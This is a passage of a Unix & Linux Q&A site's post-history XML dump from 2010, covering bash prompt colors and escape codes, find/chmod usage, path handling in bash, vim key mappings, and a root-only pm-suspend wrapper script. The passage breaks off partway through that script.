  <row Id="3543" PostHistoryTypeId="2" PostId="1752" RevisionGUID="a6c871fd-82e7-4651-8f15-309295904dfa" CreationDate="2010-09-07T18:28:23.617" UserId="1090" Text="I'm trying to make PS1 configured as follows.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Green=&quot;\[\e[32;1m\]&quot;&#xD;&#xA;Red=&quot;\e[0;31m&quot;&#xD;&#xA;Purple=&quot;\e[0;35m&quot;&#xD;&#xA;ENDCOLOR=&quot;\[\e[0m\]&quot;&#xD;&#xA;export PS1=&quot;$Green\u@$Purple\h $Red\w$Green&gt;$ENDCOLOR &quot;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;And I have some questions.&#xD;&#xA;&#xD;&#xA; * What's the difference between &quot;\[\e[32;1m\]&quot; and \e[32;1m&quot;? Are they the same?&#xD;&#xA; * After running the 'export PS1' command, it works well, but when I give the input around 20 characters, the characters are overwritten as I attached. What's wrong with this?&#xD;&#xA;&#xD;&#xA;&lt;img src=&quot;http://a.imageshack.us/img8/606/resultqm.jpg&quot;/&gt;" />
  <row Id="3544" PostHistoryTypeId="1" PostId="1752" RevisionGUID="a6c871fd-82e7-4651-8f15-309295904dfa" CreationDate="2010-09-07T18:28:23.617" UserId="1090" Text="bash PS1 setup." />
  <row Id="3545" PostHistoryTypeId="3" PostId="1752" RevisionGUID="a6c871fd-82e7-4651-8f15-309295904dfa" CreationDate="2010-09-07T18:28:23.617" UserId="1090" Text="ébashà" />
  <row Id="3546" PostHistoryTypeId="5" PostId="1750" RevisionGUID="8d723e69-5f32-4580-b2e5-2b639c5dbf7c" CreationDate="2010-09-07T18:29:37.627" UserId="73" Comment="deleted 3 characters in body; edited tags" Text="I'm running a GNU/Linux Debian Lenny with an 2.6.26-2-686 kernel.&#xD;&#xA;I installed splashy for a bootsplash an updated grub to version 2.&#xD;&#xA;&#xD;&#xA;Now I want splashy to start directly after the user has selected a startoption in grub. At the moment, when the user selects a start option a black screen with bootmessages occurs. I want it so that these messages are displayed in splashy. Or as an alternative, I want to define a background image which is displayed at this phase.&#xD;&#xA;&#xD;&#xA;Do you know a solution?&#xD;&#xA;" />
  <row Id="3547" PostHistoryTypeId="6" PostId="1750" RevisionGUID="8d723e69-5f32-4580-b2e5-2b639c5dbf7c" CreationDate="2010-09-07T18:29:37.627" UserId="73" Comment="deleted 3 characters in body; edited tags" Text="élinuxàégrubàédebianà" />
  <row Id="3548" PostHistoryTypeId="8" PostId="1721" RevisionGUID="a4bdbab4-5c40-4669-8fef-174a546e33d4" CreationDate="2010-09-07T18:31:38.163" UserId="138" Comment="Rollback to [7d794b27-22f8-4fb9-b3ff-79befa833fcf] - Reverted Sherlock" Text="&gt; There are two major products that came out of Berkeley: LSD and UNIX. We don't believe this to be a coincidence.&#xD;&#xA;&#xD;&#xA;&amp;mdash; Jeremy S. Anderson" />
  <row Id="3549" PostHistoryTypeId="2" PostId="1753" RevisionGUID="506ca715-0d06-4eac-a297-e06d1b2b7b98" CreationDate="2010-09-07T18:40:32.557" UserId="1294" Text="The [RPM packages for libuuid-devel][1] for Fedora 13 appear to contain only the shared library. Therefore you'd have to build it [from source][2] if you need a static library.&#xD;&#xA;&#xD;&#xA;I expect that this is the same problem with a static `-lcrypto` and the others.&#xD;&#xA;&#xD;&#xA;However, if it is [TestDisk][3] specifically that you are trying to compile, you probably shouldn't bother as the partition repair utility is part of most LiveCD distributions, including Fedora.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fr2.rpmfind.net/linux/rpm2html/search.php?query=libuuid-devel&#xD;&#xA;  [2]: http://e2fsprogs.sourceforge.net/&#xD;&#xA;  [3]: http://www.cgsecurity.org/wiki/TestDisk" />
  <row Id="3551" PostHistoryTypeId="5" PostId="1752" RevisionGUID="ec312231-d387-4fcf-b8ef-0f5952e96fe6" CreationDate="2010-09-07T19:06:21.273" UserId="1090" Comment="added 264 characters in body; added 19 characters in body" Text="I'm trying to make PS1 configured as follows.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Green=&quot;\[\e[32;1m\]&quot;&#xD;&#xA;Red=&quot;\e[0;31m&quot;&#xD;&#xA;Purple=&quot;\e[0;35m&quot;&#xD;&#xA;STARTCOLOR=&quot;\[\e[40m\]&quot;&#xD;&#xA;ENDCOLOR=&quot;\[\e[0m\]&quot;&#xD;&#xA;export PS1=&quot;$STARTCOLOR$Green\u@$Purple\h $Red\w$Green&gt;$ENDCOLOR &quot;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;And I have some questions.&#xD;&#xA;&#xD;&#xA; * What's the difference between &quot;\[\e[32;1m\]&quot; and \e[32;1m&quot;? Are they the same?&#xD;&#xA; * After running the 'export PS1' command, it works well, but when I give the input around 20 characters, the characters are overwritten as I attached. What's wrong with this?&#xD;&#xA; * What's the meaning of STARTCOLOR(\e[40m)/ENDCOLOR(\e[0m)?&#xD;&#xA;&#xD;&#xA;&lt;img src=&quot;http://a.imageshack.us/img8/606/resultqm.jpg&quot;/&gt;&#xD;&#xA;&#xD;&#xA;## ADDED&#xD;&#xA;After some tests, I got the following change could solve the problem. That is, the &quot;\e&quot; format should be replaced by &quot;\[\e&quot; format. &#xD;&#xA;&#xD;&#xA;#Red=&quot;\e[1;31m&quot;&#xD;&#xA;Red=&quot;\[\e[31;1m\]&quot;" />
  <row Id="3552" PostHistoryTypeId="5" PostId="1752" RevisionGUID="fc16e4b4-6e57-413c-b7a8-8d0cf95d73cd" CreationDate="2010-09-07T19:14:42.563" UserId="1090" Comment="added 42 characters in body" Text="I'm trying to make PS1 configured as follows.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Green=&quot;\[\e[32;1m\]&quot;&#xD;&#xA;Red=&quot;\e[0;31m&quot;&#xD;&#xA;Purple=&quot;\e[0;35m&quot;&#xD;&#xA;STARTCOLOR=&quot;\[\e[40m\]&quot;&#xD;&#xA;ENDCOLOR=&quot;\[\e[0m\]&quot;&#xD;&#xA;export PS1=&quot;$STARTCOLOR$Green\u@$Purple\h $Red\w$Green&gt;$ENDCOLOR &quot;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;And I have some questions.&#xD;&#xA;&#xD;&#xA; * What's the difference between &quot;\[\e[32;1m\]&quot; and \e[32;1m&quot;? Are they the same?&#xD;&#xA; * After running the 'export PS1' command, it works well, but when I give the input around 20 characters, the characters are overwritten as I attached. What's wrong with this?&#xD;&#xA; * What's the meaning of STARTCOLOR(\e[40m)/ENDCOLOR(\e[0m)?&#xD;&#xA;&#xD;&#xA;&lt;img src=&quot;http://a.imageshack.us/img8/606/resultqm.jpg&quot;/&gt;&#xD;&#xA;&#xD;&#xA;## ADDED&#xD;&#xA;After some tests, I got the following change could solve the problem. That is, the &quot;\e&quot; format should be replaced by &quot;\\[\e&quot; format. &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Red=&quot;\\e[1;31m&quot; -- not working&#xD;&#xA;Red=&quot;\[\e[31;1m\]&quot; -- working&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="3553" PostHistoryTypeId="2" PostId="1755" RevisionGUID="bbb9939a-f210-4f8d-9d1d-1ea48be97790" CreationDate="2010-09-07T19:16:54.987" UserId="1090" Text="I learned that I can change the format of PS1, especially the color of the string. Then, is it possible to change the color based on the background color of the shell? Or, how can I detect the background color of the shell?" />
  <row Id="3554" PostHistoryTypeId="1" PostId="1755" RevisionGUID="bbb9939a-f210-4f8d-9d1d-1ea48be97790" CreationDate="2010-09-07T19:16:54.987" UserId="1090" Text="Change the PS1 color based on the background color?" />
  <row Id="3555" PostHistoryTypeId="3" PostId="1755" RevisionGUID="bbb9939a-f210-4f8d-9d1d-1ea48be97790" CreationDate="2010-09-07T19:16:54.987" UserId="1090" Text="ébashà" />
  <row Id="3556" PostHistoryTypeId="5" PostId="1739" RevisionGUID="52d2a84b-d939-4a04-a14d-0732fcf10e31" CreationDate="2010-09-07T19:20:20.650" UserId="1257" Comment="edited body" Text="Here are a couple of T-shirt slogans:&#xD;&#xA;&#xD;&#xA;There is no place like ~&#xD;&#xA;&#xD;&#xA;My favorite:  &#xD;&#xA;Thou shall not kill -9" />
  <row Id="3557" PostHistoryTypeId="2" PostId="1756" RevisionGUID="1795d6bf-ba57-4138-b48f-8f981ba6c6fb" CreationDate="2010-09-07T19:27:25.343" UserId="1257" Text="Here is the color table I arrived at:&#xD;&#xA;&#xD;&#xA;    # Prompt setup&#xD;&#xA;    # ##################&#xD;&#xA;    &#xD;&#xA;    # Black            \e[0;30m&#xD;&#xA;    # Blue             \e[0;34m&#xD;&#xA;    # Green            \e[0;32m&#xD;&#xA;    # Cyan             \e[0;36m&#xD;&#xA;    # Red              \e[0;31m&#xD;&#xA;    # Purple           \e[0;35m&#xD;&#xA;    # Brown            \e[0;33m&#xD;&#xA;    # Gray             \e[0;37m&#xD;&#xA;    # Dark Gray        \e[1;30m&#xD;&#xA;    # Light Blue       \e[1;34m&#xD;&#xA;    # Light Green      \e[1;32m&#xD;&#xA;    # Light Cyan       \e[1;36m&#xD;&#xA;    # Light Red        \e[1;31m&#xD;&#xA;    # Light Purple     \e[1;35m&#xD;&#xA;    # Yellow           \e[1;33m&#xD;&#xA;    # White            \e[1;37m&#xD;&#xA;    &#xD;&#xA;    local COLOR_DEFAULT='\[\e[0m\]'&#xD;&#xA;    local COLOR_BLACK='\[\e[0;30m\]'&#xD;&#xA;    local COLOR_BLUE='\[\e[0;34m\]'&#xD;&#xA;    local COLOR_GREEN='\[\e[0;32m\]'&#xD;&#xA;    local COLOR_CYAN='\[\e[0;36m\]'&#xD;&#xA;    local COLOR_RED='\[\e[0;31m\]'&#xD;&#xA;    local COLOR_PURPLE='\[\e[0;35m\]'&#xD;&#xA;    local COLOR_BROWN='\[\e[0;33m\]'&#xD;&#xA;    local COLOR_GRAY='\[\e[0;37m\]'&#xD;&#xA;    local COLOR_DARK_GRAY='\[\e[1;30m\]'&#xD;&#xA;    local COLOR_L_BLUE='\[\e[1;34m\]'&#xD;&#xA;    local COLOR_L_GREEN='\[\e[1;32m\]'&#xD;&#xA;    local COLOR_L_CYAN='\[\e[1;36m\]'&#xD;&#xA;    local COLOR_L_RED='\[\e[1;31m\]'&#xD;&#xA;    local COLOR_L_PURPLE='\[\e[1;35m\]'&#xD;&#xA;    local COLOR_YELLOW='\[\e[1;33m\]'&#xD;&#xA;    local COLOR_WHITE='\[\e[1;37m\]'&#xD;&#xA;&#xD;&#xA;Here is the link that explains VT100 terminal codes: http://www.termsys.demon.co.uk/vtansi.htm" />
  <row Id="3558" PostHistoryTypeId="5" PostId="1756" RevisionGUID="1e9d397c-8223-42b5-8163-55cf505f197c" CreationDate="2010-09-07T19:36:58.243" UserId="1257" Comment="added 102 characters in body" Text="Here is the color table I arrived at:&#xD;&#xA;&#xD;&#xA;    # Prompt setup&#xD;&#xA;    # ##################&#xD;&#xA;    &#xD;&#xA;    # Black            \e[0;30m&#xD;&#xA;    # Blue             \e[0;34m&#xD;&#xA;    # Green            \e[0;32m&#xD;&#xA;    # Cyan             \e[0;36m&#xD;&#xA;    # Red              \e[0;31m&#xD;&#xA;    # Purple           \e[0;35m&#xD;&#xA;    # Brown            \e[0;33m&#xD;&#xA;    # Gray             \e[0;37m&#xD;&#xA;    # Dark Gray        \e[1;30m&#xD;&#xA;    # Light Blue       \e[1;34m&#xD;&#xA;    # Light Green      \e[1;32m&#xD;&#xA;    # Light Cyan       \e[1;36m&#xD;&#xA;    # Light Red        \e[1;31m&#xD;&#xA;    # Light Purple     \e[1;35m&#xD;&#xA;    # Yellow           \e[1;33m&#xD;&#xA;    # White            \e[1;37m&#xD;&#xA;    &#xD;&#xA;    local COLOR_DEFAULT='\[\e[0m\]'&#xD;&#xA;    local COLOR_BLACK='\[\e[0;30m\]'&#xD;&#xA;    local COLOR_BLUE='\[\e[0;34m\]'&#xD;&#xA;    local COLOR_GREEN='\[\e[0;32m\]'&#xD;&#xA;    local COLOR_CYAN='\[\e[0;36m\]'&#xD;&#xA;    local COLOR_RED='\[\e[0;31m\]'&#xD;&#xA;    local COLOR_PURPLE='\[\e[0;35m\]'&#xD;&#xA;    local COLOR_BROWN='\[\e[0;33m\]'&#xD;&#xA;    local COLOR_GRAY='\[\e[0;37m\]'&#xD;&#xA;    local COLOR_DARK_GRAY='\[\e[1;30m\]'&#xD;&#xA;    local COLOR_L_BLUE='\[\e[1;34m\]'&#xD;&#xA;    local COLOR_L_GREEN='\[\e[1;32m\]'&#xD;&#xA;    local COLOR_L_CYAN='\[\e[1;36m\]'&#xD;&#xA;    local COLOR_L_RED='\[\e[1;31m\]'&#xD;&#xA;    local COLOR_L_PURPLE='\[\e[1;35m\]'&#xD;&#xA;    local COLOR_YELLOW='\[\e[1;33m\]'&#xD;&#xA;    local COLOR_WHITE='\[\e[1;37m\]'&#xD;&#xA;&#xD;&#xA;Here is the link that explains VT100 terminal codes: http://www.termsys.demon.co.uk/vtansi.htm&#xD;&#xA;&#xD;&#xA;`\[` - begin sequence of non-printing characters  &#xD;&#xA;`\]` - end sequence of non-printing characters" />
  <row Id="3559" PostHistoryTypeId="2" PostId="1757" RevisionGUID="8b4e4901-1101-4ffe-87e6-fc718af338ca" CreationDate="2010-09-07T19:42:34.063" UserId="571" Text="Most modern terminal emulators are able to use ANSI escape codes to control various aspects of the display.&#xD;&#xA;&#xD;&#xA;Most of the ANSI codes begin with the 2-character code ESC-[ That is the escape character (ASCII decimal 27) followed by the open square bracket character. This sequence is also known as the CSI or Control Sequence Initiator.&#xD;&#xA;&#xD;&#xA;Because the escape character is not one you can type directly (the Esc key has other, often application specific, uses) bash uses '\e' to refer to it.&#xD;&#xA;&#xD;&#xA;Changing the text colour uses the ANSI Set Graphics Mode command:&#xD;&#xA;&#xD;&#xA;    \e[&lt;value&gt;m&#xD;&#xA;&#xD;&#xA;where `&lt;value&gt;` can be a list of values separated by semi-colons (`;`). Normally just one value is used, although the bold attribute is useful in conjunction with the colour attributes.&#xD;&#xA;&#xD;&#xA;Looking at the values listed in Alexander Pogrebnyak's answer, the 0 or 1 before the semi-colon selects bold or not:&#xD;&#xA;&#xD;&#xA;    \e[1m  # bold&#xD;&#xA;    \e[5m  # blink&#xD;&#xA;    \e[0m  # all attributes off&#xD;&#xA;&#xD;&#xA;There's a useful list of the codes here [http://ascii-table.com/ansi-escape-sequences.php][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ascii-table.com/ansi-escape-sequences.php" />
  <row Id="3560" PostHistoryTypeId="5" PostId="1756" RevisionGUID="9458dcda-49b0-45da-8234-d9428f47b34b" CreationDate="2010-09-07T19:53:14.890" UserId="1257" Comment="added 1385 characters in body" Text="I have a helper function to set prompt, and because I don't want to spend more time for looking for escape code references, I've coded all text color values into it.&#xD;&#xA;&#xD;&#xA;    function set_prompt ( )&#xD;&#xA;    {&#xD;&#xA;        # Prompt setup&#xD;&#xA;        # ##################&#xD;&#xA;        &#xD;&#xA;        # Black            \e[0;30m&#xD;&#xA;        # Blue             \e[0;34m&#xD;&#xA;        # Green            \e[0;32m&#xD;&#xA;        # Cyan             \e[0;36m&#xD;&#xA;        # Red              \e[0;31m&#xD;&#xA;        # Purple           \e[0;35m&#xD;&#xA;        # Brown            \e[0;33m&#xD;&#xA;        # Gray             \e[0;37m&#xD;&#xA;        # Dark Gray        \e[1;30m&#xD;&#xA;        # Light Blue       \e[1;34m&#xD;&#xA;        # Light Green      \e[1;32m&#xD;&#xA;        # Light Cyan       \e[1;36m&#xD;&#xA;        # Light Red        \e[1;31m&#xD;&#xA;        # Light Purple     \e[1;35m&#xD;&#xA;        # Yellow           \e[1;33m&#xD;&#xA;        # White            \e[1;37m&#xD;&#xA;        &#xD;&#xA;        local COLOR_DEFAULT='\[\e[0m\]'&#xD;&#xA;        local COLOR_BLACK='\[\e[0;30m\]'&#xD;&#xA;        local COLOR_BLUE='\[\e[0;34m\]'&#xD;&#xA;        local COLOR_GREEN='\[\e[0;32m\]'&#xD;&#xA;        local COLOR_CYAN='\[\e[0;36m\]'&#xD;&#xA;        local COLOR_RED='\[\e[0;31m\]'&#xD;&#xA;        local COLOR_PURPLE='\[\e[0;35m\]'&#xD;&#xA;        local COLOR_BROWN='\[\e[0;33m\]'&#xD;&#xA;        local COLOR_GRAY='\[\e[0;37m\]'&#xD;&#xA;        local COLOR_DARK_GRAY='\[\e[1;30m\]'&#xD;&#xA;        local COLOR_L_BLUE='\[\e[1;34m\]'&#xD;&#xA;        local COLOR_L_GREEN='\[\e[1;32m\]'&#xD;&#xA;        local COLOR_L_CYAN='\[\e[1;36m\]'&#xD;&#xA;        local COLOR_L_RED='\[\e[1;31m\]'&#xD;&#xA;        local COLOR_L_PURPLE='\[\e[1;35m\]'&#xD;&#xA;        local COLOR_YELLOW='\[\e[1;33m\]'&#xD;&#xA;        local COLOR_WHITE='\[\e[1;37m\]'&#xD;&#xA;        &#xD;&#xA;        local PS1_SET_TITLE='\[\e]0;\w\a\]'&#xD;&#xA;        &#xD;&#xA;        local PS1_SET_TIME=&quot;${COLOR_DEFAULT}\t&quot;&#xD;&#xA;        local PS1_SET_RET_CODE=&quot;${COLOR_L_RED}(\$?)&quot;&#xD;&#xA;        local PS1_SET_USER=&quot;${COLOR_L_GREEN}\u@\h&quot;&#xD;&#xA;        local PS1_SET_PWD=&quot;${COLOR_YELLOW}\w&quot;&#xD;&#xA;        &#xD;&#xA;        local PS1_LN_1=&quot;${PS1_SET_TITLE}\n&quot;&#xD;&#xA;        local PS1_LN_2=&quot;${PS1_SET_TIME} ${PS1_SET_RET_CODE} &quot;&#xD;&#xA;        local PS1_LN_2=&quot;${PS1_LN_2}${PS1_SET_USER} ${PS1_SET_PWD} ${COLOR_DEFAULT}\n&quot;&#xD;&#xA;    &#xD;&#xA;        echo &quot;${PS1_LN_1}${PS1_LN_2}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You can then do:&#xD;&#xA;&#xD;&#xA;    PS1=$( set_prompt )&#xD;&#xA;    &#xD;&#xA;    # Use '#' for root shell&#xD;&#xA;    export PS1=${PS1}'$ '&#xD;&#xA;    &#xD;&#xA;    unset -f set_prompt&#xD;&#xA;&#xD;&#xA;Here is the link that explains VT100 terminal codes: http://www.termsys.demon.co.uk/vtansi.htm&#xD;&#xA;&#xD;&#xA;`\[` - begin sequence of non-printing characters  &#xD;&#xA;`\]` - end sequence of non-printing characters&#xD;&#xA;&#xD;&#xA;&gt; * What's the difference between &quot;[\e[32;1m]&quot; and \e[32;1m&quot;? Are they&#xD;&#xA;&gt; the same?&#xD;&#xA;&#xD;&#xA;Not the same, and it should be `\[\e[32;1m\]'.  Without `\[\]` it would try to print the sequence in console.&#xD;&#xA;&#xD;&#xA;&gt; &#xD;&#xA;&gt; * What's the meaning of STARTCOLOR(\e[40m)/ENDCOLOR(\e[0m)?&#xD;&#xA;&#xD;&#xA;STARTCOLOR, means set background to black,&#xD;&#xA;ENDCOLOR means reset all text attributes, meaning 'give me default console color'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3561" PostHistoryTypeId="2" PostId="1758" RevisionGUID="f9ef499d-2905-4f9a-8b84-f96b8470e902" CreationDate="2010-09-07T19:53:17.993" UserId="1327" Text=" - `I mount my soul at /dev/null` - a colleage&#xD;&#xA;&#xD;&#xA; - ![image][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/m1rI9.png" />
  <row Id="3562" PostHistoryTypeId="16" PostId="1758" RevisionGUID="f9ef499d-2905-4f9a-8b84-f96b8470e902" CreationDate="2010-09-07T19:53:17.993" UserId="-1" />
  <row Id="3564" PostHistoryTypeId="6" PostId="1752" RevisionGUID="b1763638-0da0-4a26-8a4c-68998db4cf49" CreationDate="2010-09-07T20:10:25.997" UserId="1294" Comment="edited tags" Text="ébashàéosxà" />
  <row Id="3565" PostHistoryTypeId="6" PostId="1752" RevisionGUID="b47bb015-6d69-48a9-aabf-3dd8a2b93b2e" CreationDate="2010-09-07T20:17:28.110" UserId="1090" Comment="edited tags" Text="ébashàéosxàéps1à" />
  <row Id="3566" PostHistoryTypeId="6" PostId="1755" RevisionGUID="5e736e79-eb8c-4092-9cb2-9fb698088fb0" CreationDate="2010-09-07T20:17:53.407" UserId="1090" Comment="edited tags" Text="ébashàéps1à" />
  <row Id="3567" PostHistoryTypeId="2" PostId="1759" RevisionGUID="649e6264-bc7b-4e0d-abd3-ec4d08cf9539" CreationDate="2010-09-07T20:25:34.657" UserId="1267" Text="&#xD;&#xA;I am using Fedora 13 and or shutting down and rebooting automatically we have the following commands:&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&gt; shutdown -h/-r now &#xD;&#xA;&#xD;&#xA;Similarly if i want to make my system to go in a suspend mode after sometime what is the command i should use. " />
  <row Id="3568" PostHistoryTypeId="1" PostId="1759" RevisionGUID="649e6264-bc7b-4e0d-abd3-ec4d08cf9539" CreationDate="2010-09-07T20:25:34.657" UserId="1267" Text="Fedora auto suspend" />
  <row Id="3569" PostHistoryTypeId="3" PostId="1759" RevisionGUID="649e6264-bc7b-4e0d-abd3-ec4d08cf9539" CreationDate="2010-09-07T20:25:34.657" UserId="1267" Text="écommandölineàéfedoraà" />
  <row Id="3570" PostHistoryTypeId="2" PostId="1760" RevisionGUID="eddff6d0-5aa2-4c4b-ba0e-4fb0ddb7ed9c" CreationDate="2010-09-07T20:29:47.043" UserId="1267" Text="&#xD;&#xA;&#xD;&#xA;I am using Fedora 13, and it was my friend who did the installation for me. I have used Ubuntu also and i found it more easy to install than fedora. Ubuntu uses a WUBI installer (if i am correct) and its more easy for the users to install and remove ubuntu. For a person who knows how to install and remove an application in windows, can install/remove Ubuntu also. &#xD;&#xA;&#xD;&#xA;Why is it that its not the same with Fedora. Are there any steps being taken for making more user friendly to customers." />
  <row Id="3571" PostHistoryTypeId="1" PostId="1760" RevisionGUID="eddff6d0-5aa2-4c4b-ba0e-4fb0ddb7ed9c" CreationDate="2010-09-07T20:29:47.043" UserId="1267" Text="Installing Fedora Vs Installing Ubuntu" />
  <row Id="3572" PostHistoryTypeId="3" PostId="1760" RevisionGUID="eddff6d0-5aa2-4c4b-ba0e-4fb0ddb7ed9c" CreationDate="2010-09-07T20:29:47.043" UserId="1267" Text="éubuntuàéfedoraàéinstallà" />
  <row Id="3573" PostHistoryTypeId="5" PostId="1724" RevisionGUID="140eceda-24a0-4924-92bb-bdb4c5cd4fb9" CreationDate="2010-09-07T20:38:30.480" UserId="305" Comment="edited body" Text="I didn't see this for a while now:&#xD;&#xA;&#xD;&#xA;&gt; Unix is sexy: who | grep -i blonde |&#xD;&#xA;&gt; date; cd ~; unzip; touch; strip;&#xD;&#xA;&gt; finger; mount; gasp; yes; uptime;&#xD;&#xA;&gt; umount; sleep&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3574" PostHistoryTypeId="2" PostId="1761" RevisionGUID="81e4b32d-d0cf-4633-8fc9-5072df1b5869" CreationDate="2010-09-07T21:04:58.783" UserId="885" Text="    find . -type d -exec chmod 755 {} + -or -type f -exec chmod 644 {} +&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;`find ... -exec ... +` is like `find ... -exec ... \;` except that the command is executed only once per large set of matching files.&#xD;&#xA;&#xD;&#xA;Once upon a time, `find OPTIONS... -exec COMMAND... \;` had to act on one file at a time. So `xargs` was invented to group actions for efficiency. But `xargs` introduced its own share of trouble: it expects input that is quoted in a way that `find` cannot produce. So `find OPTIONS... | xargs COMMAND...` is no good unless you know that your file names do not contain any of `'&quot;\` or whitespace.&#xD;&#xA;&#xD;&#xA;Then GNU invented `find OPTIONS... -print0 | xargs -0 COMMAND...`, which allows any character to appear in a file name. But it took a long time for anyone else to adopt it, and in the meantime Sun (I think) invented `find OPTIONS... -exec COMMAND... +`, which does the same grouping job as `xargs`, without the added complications (longer command line, limit to one per `find` command). Now `find ... -exec ... +` is standard (it's in [Single Unix v3](http://www.opengroup.org/onlinepubs/009695399/utilities/find.html)), and more widely available than `xargs -0`. Unless you have to maintain compatibility with an old Linux system, just forget about `xargs`.&#xD;&#xA;" />
  <row Id="3576" PostHistoryTypeId="2" PostId="1763" RevisionGUID="994633fd-68af-4363-8c4f-0c6226e78f57" CreationDate="2010-09-07T21:12:09.797" UserId="1090" Text="The $0 variable contains the path info of the script.&#xD;&#xA;&#xD;&#xA; * How can I change the path info to absolute path? I mean how to process ~, ., .. or similar?&#xD;&#xA; * How can I split the path info into directory and file name?&#xD;&#xA;&#xD;&#xA;I could use python/perl for this, but I want to use bash if possible. " />
  <row Id="3577" PostHistoryTypeId="1" PostId="1763" RevisionGUID="994633fd-68af-4363-8c4f-0c6226e78f57" CreationDate="2010-09-07T21:12:09.797" UserId="1090" Text="processing $0 in bash." />
  <row Id="3578" PostHistoryTypeId="3" PostId="1763" RevisionGUID="994633fd-68af-4363-8c4f-0c6226e78f57" CreationDate="2010-09-07T21:12:09.797" UserId="1090" Text="ébashàéparameterà" />
  <row Id="3579" PostHistoryTypeId="2" PostId="1764" RevisionGUID="b8782e9b-397e-449b-9e0d-7c5d60f254bf" CreationDate="2010-09-07T21:12:26.883" UserId="885" Text="Figure out exactly what escape sequence your terminal sends for &lt;kbd&gt;Ctrl&lt;/kbd&gt;+arrow by typing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+arrow in insert mode. Then tell vim about these escape sequences with something like&#xD;&#xA;&#xD;&#xA;    map &lt;ESC&gt;[5D &lt;C-Left&gt;&#xD;&#xA;    map &lt;ESC&gt;[5C &lt;C-Right&gt;&#xD;&#xA;    map! &lt;ESC&gt;[5D &lt;C-Left&gt;&#xD;&#xA;    map! &lt;ESC&gt;[5C &lt;C-Right&gt;&#xD;&#xA;&#xD;&#xA;I seem to recall that Putty has a default setting for [Application Cursor Keys mode](http://the.earth.li/~sgtatham/putty/0.60/htmldoc/Chapter4.html#config-appcursor) that's inconvenient (I forget why), you might want to toggle this setting first.&#xD;&#xA;" />
  <row Id="3580" PostHistoryTypeId="2" PostId="1765" RevisionGUID="67b8d57f-c1c7-4e9b-b515-ffb5efc364d3" CreationDate="2010-09-07T21:16:37.893" UserId="885" Text="My guess is that&#xD;&#xA;&#xD;&#xA;* either they were thinking of something that's only applicable to a specific situation that they didn't bother to mention, like flushing buffers;&#xD;&#xA;* or they meant something you'd do *after* forking;&#xD;&#xA;* or they meant something you'd do *before* `execve` (which is the other half of spawning another program), expecting the answer `fork`, but they didn't really understand the whole thing and confused the two.&#xD;&#xA;" />
  <row Id="3581" PostHistoryTypeId="2" PostId="1766" RevisionGUID="53c26eb9-7285-431a-a1b8-d8c53049ddbe" CreationDate="2010-09-07T21:26:38.267" UserId="73" Text="You don't need to process things like `~`, the shell does it for you. That's why you can pass `~/filename` to any script or program and it works -- all those programs don't handle `~` themselves, your shell converts the argument to `/home/username/filename` and passes that to the program instead:&#xD;&#xA;&#xD;&#xA;    $ echo ~/filename&#xD;&#xA;    /home/mrozekma/filename&#xD;&#xA;&#xD;&#xA;If you need a canonical filename (one that doesn't include things like `..`), use `readlink`:&#xD;&#xA;&#xD;&#xA;    $ readlink -f ~/../filename&#xD;&#xA;    /home/filename&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;As for splitting the path into directory name and filename, use `dirname` and `basename`:&#xD;&#xA;&#xD;&#xA;    $ dirname /foo/bar/baz&#xD;&#xA;    /foo/bar&#xD;&#xA;&#xD;&#xA;    $ basename /foo/bar/baz&#xD;&#xA;    baz" />
  <row Id="3582" PostHistoryTypeId="2" PostId="1767" RevisionGUID="37a70517-68fa-4c1e-a175-01924eacd25b" CreationDate="2010-09-07T21:31:24.420" UserId="885" Text="&gt; Unix is user-friendly. It's just picky about who its friends are.&#xD;&#xA;&#xD;&#xA;(I don't know the origin. There are several variant formulations floating around. [T-shirt (first google hit)](http://antcom.spreadshirt.de/unix-is-user-friendly-A3864238)&#xD;&#xA;" />
  <row Id="3583" PostHistoryTypeId="16" PostId="1767" RevisionGUID="37a70517-68fa-4c1e-a175-01924eacd25b" CreationDate="2010-09-07T21:31:24.420" UserId="-1" />
  <row Id="3584" PostHistoryTypeId="2" PostId="1768" RevisionGUID="b0abb986-9607-4dde-9056-0bc26c05b25d" CreationDate="2010-09-07T21:33:25.433" UserId="1207" Text="The `pm-suspend` utility (which is contained in the [pm-utils][1] package and likely already installed on your machine) is what is used to send your computer into suspend mode.  Thus to suspend &quot;right now,&quot; you can run (as root or using sudo):&#xD;&#xA;&#xD;&#xA;    # pm-suspend&#xD;&#xA;&#xD;&#xA;Unfortunately, pm-suspend does not take a time parameter as far as I know.  However, you could write a wrapper script that took a time parameter.  Save the script somewhere in your $PATH and chmod +x it. Do not call it &quot;suspend&quot;. A simple one may look like this:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    #change this following line to wherever pm-suspend lives&#xD;&#xA;    suspend=&quot;/usr/sbin/pm-suspend&quot;&#xD;&#xA;&#xD;&#xA;    #make sure we are root&#xD;&#xA;    if [ &quot;$(id -u)&quot; != &quot;0&quot; ]; then&#xD;&#xA;       echo &quot;This script must be run as root&quot; 1&gt;&amp;2&#xD;&#xA;       exit 1&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    if [ -z &quot;$1&quot; ]; then&#xD;&#xA;        echo &quot;mysuspend: time in seconds expected&quot;&#xD;&#xA;        exit 